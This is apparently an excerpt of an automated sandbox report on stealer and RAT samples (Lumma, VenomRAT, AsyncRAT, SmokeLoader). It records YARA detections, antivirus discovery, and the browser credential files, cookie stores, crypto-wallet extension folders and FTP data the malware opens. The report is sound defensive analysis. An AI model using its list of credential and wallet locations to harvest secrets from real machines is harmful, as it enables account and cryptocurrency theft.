Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedLumma\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedLumma\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedVenom\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ExtractedVenom\data.bin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA887EE GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 18_2_6CA887EE
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Yara detected AsyncRAT
Source: Yara match File source: 18.2.vm.exe.29e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.vm.exe.29e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected VenomRAT
Source: Yara match File source: Process Memory Space: vm.exe PID: 5804, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vm.exe PID: 5252, type: MEMORYSTR
AV process strings found (often used to terminate AV products)
Source: vm.exe, 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, vm.exe, 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: MSASCui.exe
Source: vm.exe, 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, vm.exe, 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: procexp.exe
Source: vm.exe, 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, vm.exe, 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: MsMpEng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Go Injector
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 8.2.34CA.exe.7ff65b6b0000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.0.34CA.exe.7ff65b6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000000.2466826859.00007FF65BBF0000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2601744896.00007FF65BBF0000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 34CA.exe PID: 6796, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\34CA.exe, type: DROPPED
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: BitLockerToGo.exe PID: 3588, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: lm.exe PID: 4936, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 00000003.00000002.1964638535.00000000040B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1731949971.00000000026F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1732147386.00000000040B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1964603084.0000000004090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Found many strings related to Crypto-Wallets (likely being stolen)
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: 34CA.exe String found in binary or memory: 61azMCvCJTGgpqseAkDulivzcEIzbUh6GMdTZAHnf1fdOpeVIX1cvVM4A8eZYfeoEwKiaYuvGzYIFP83bjKF7m6bj2wJAxxEhOliTXiwSEw/wKfyExx0wSCYqAXlH96eBExAmJxHEi07ZRDCnO0inYh1kTLelXIq6GhRN/GAUttG+NG6k9KosqFAP0KhGV9rw2I72LM/52rDcmE4tf+MyZ2GCqyJk4LOJJPPBz+M/3bNhSXwcNXMQCxo38kKghYrUGlK
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.walletS
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.walletS
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binanceg
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Ethereum
Source: BitLockerToGo.exe, 0000000D.00000003.2613784729.000000000300D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BD9E.exe, 0000000A.00000002.2843609071.000001DCCE2D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $'{0}' is not a valid KeyStore name.
Source: BitLockerToGo.exe, 0000000D.00000003.2613300795.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger LiveS
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
